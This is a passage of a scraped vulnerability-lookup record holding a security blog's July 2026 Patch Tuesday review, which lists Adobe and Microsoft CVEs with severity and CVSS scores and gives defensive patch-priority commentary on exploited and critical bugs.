Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:02:45.305188Z"}, {"uuid": "89428a67-658f-4b6e-a103-8961fed82d10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54122", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  